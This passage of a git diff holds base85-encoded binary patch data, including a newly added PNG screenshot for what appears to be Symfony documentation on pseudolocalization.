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

literal 0
HcmV?d00001

diff --git a/_images/translation/pseudolocalization-symfony-demo-enabled.png b/_images/translation/pseudolocalization-symfony-demo-enabled.png
new file mode 100644
index 0000000000000000000000000000000000000000..a23300a727104a05b4e8c698c7b09a146f12625b
GIT binary patch
literal 80487
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
